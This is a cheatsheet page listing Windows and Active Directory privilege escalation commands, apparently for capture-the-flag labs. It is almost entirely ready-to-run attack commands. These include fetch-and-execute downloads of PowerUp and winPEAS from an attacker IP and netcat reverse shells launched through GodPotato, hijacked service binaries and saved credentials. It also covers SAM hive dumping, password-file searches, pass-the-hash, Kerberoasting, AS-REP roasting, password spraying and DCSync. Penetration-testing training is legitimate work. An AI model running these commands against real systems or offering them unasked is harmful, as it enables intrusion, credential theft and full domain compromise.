Windows and Active Directory privilege escalation
Commands to enumerate Windows and get SYSTEM (SeImpersonate, services, AlwaysInstallElevated, credentials) and Active Directory basics (Kerberoasting, AS-REP, BloodHound, DCSync).
Your values
Saved in this browser and applied to every cheatsheet.
Windows
Enumeration
User, groups and privileges
whoami /all
System and patches
systeminfo
Users and administrators
net user
net localgroup administrators
Internal ports
netstat -ano | findstr LISTENING
winPEAS
iwr http://10.10.14.5/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe; C:\Windows\Temp\wp.exe
PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks
Token privileges
SeImpersonate with GodPotato
.\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
Typical on service accounts (IIS, MSSQL). Alternatives for older versions are PrintSpoofer and JuicyPotatoNG.
SeImpersonate with PrintSpoofer
.\PrintSpoofer64.exe -i -c powershell
SeBackupPrivilege (copy SAM and SYSTEM)
reg save hklm\sam C:\Windows\Temp\sam
reg save hklm\system C:\Windows\Temp\system
Extract the SAM hashes
Attacker
impacket-secretsdump -sam sam -system system LOCAL
Services
Unquoted paths with spaces
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select Name,PathName,StartMode
Service config and permissions
sc.exe qc NombreServicio
icacls "C:\Ruta\servicio.exe"
Change the binary of a modifiable service
sc.exe config NombreServicio binpath= "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop NombreServicio; sc.exe start NombreServicio
AlwaysInstallElevated
Check (both keys set to 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Install a malicious MSI
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi
Build the MSI with msfvenom (see the reverse shell cheatsheet).
Stored credentials
PowerShell history
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Saved Windows credentials
cmdkey /list
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
Autologon in the registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Search passwords in files
findstr /si /m "password" C:\inetpub\*.config C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini
PSCredential in XML
$c = Import-Clixml -Path cred.xml; $c.GetNetworkCredential().Password
Remote access
WinRM
Attacker
evil-winrm -i 10.10.11.20 -u 'usuario' -p 'Password123!'
Pass-the-hash with psexec
Attacker
impacket-psexec [email protected] -hashes :HASH_NT
Pass-the-hash with evil-winrm
Attacker
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT
Active Directory
From your machine. Sync your clock with the DC before using Kerberos (sudo ntpdate DC), or you will get KRB_AP_ERR_SKEW.
Without credentials
Domain and DC name
netexec smb 10.10.11.20
Validate users (Kerberos)
kerbrute userenum -d box.htb --dc 10.10.11.20 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat
Crack with hashcat -m 18200.
Users by RID (guest session)
netexec smb 10.10.11.20 -u guest -p '' --rid-brute
With credentials
Check credentials and access
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!'
netexec winrm 10.10.11.20 -u 'usuario' -p 'Password123!'
Domain users
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --users
Kerberoasting
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request
Crack with hashcat -m 13100.
Collect data for BloodHound
bloodhound-python -u 'usuario' -p 'Password123!' -d box.htb -ns 10.10.11.20 -c All --zip
Vulnerable certificate templates (ADCS)
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Password spraying
netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-success
Domain compromise
DCSync
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20 -just-dc-ntlm
Shell as administrator with the hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NT
No command matches.